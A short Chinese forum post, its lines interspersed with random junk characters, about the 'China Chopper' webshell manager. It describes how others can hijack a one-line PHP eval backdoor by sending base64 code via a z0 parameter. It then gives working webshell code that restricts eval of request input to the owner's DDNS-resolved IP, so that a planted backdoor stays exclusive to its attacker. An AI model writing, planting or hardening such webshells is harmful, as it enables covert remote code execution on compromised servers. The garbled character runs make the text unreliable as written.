今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞0 B6 {. f! v9 s
+ Y/ M( s/ r- S G就算你设置了密码,使用了eval($_REQUEST['moyo']);% N4 i. l: G t
: M9 k$ @3 `, ]& R4 a/ W [但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
6 g6 x# q8 w4 F- e6 a1 ` F: o5 P: B, Q
2 C4 C' f9 K- P- I因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
+ J- [/ O/ c" H; L* w `3 q+ m- O
直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了& @# O$ | N B5 E) g8 ]
" |* y* W: ]0 A' T0 k不知道是设计缺陷还是故意留的后门
7 k& ?3 [8 D. W( V" k6 ~9 l4 f& k4 ^8 l g" u* F3 h3 r
如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用
' O ]1 J6 m& @7 Q9 Q) K) [: ^0 v/ l V# _
本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org8 J* u6 M/ F2 h* R6 d
7 e) Z4 ^* ]2 x7 V& K" f6 Y8 L然后一句话后门这样写
& P3 r) P" R0 c! i
! q" F/ [& ^3 I" b<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>0 P7 B. \3 W7 i' \6 p" p- T6 F
这样就可以让一句话后门只允许自己的电脑连接了3 k; f% J7 \9 v" J& ~6 K% x5 G
" X% a4 e* m: t2 z3 [/ | w |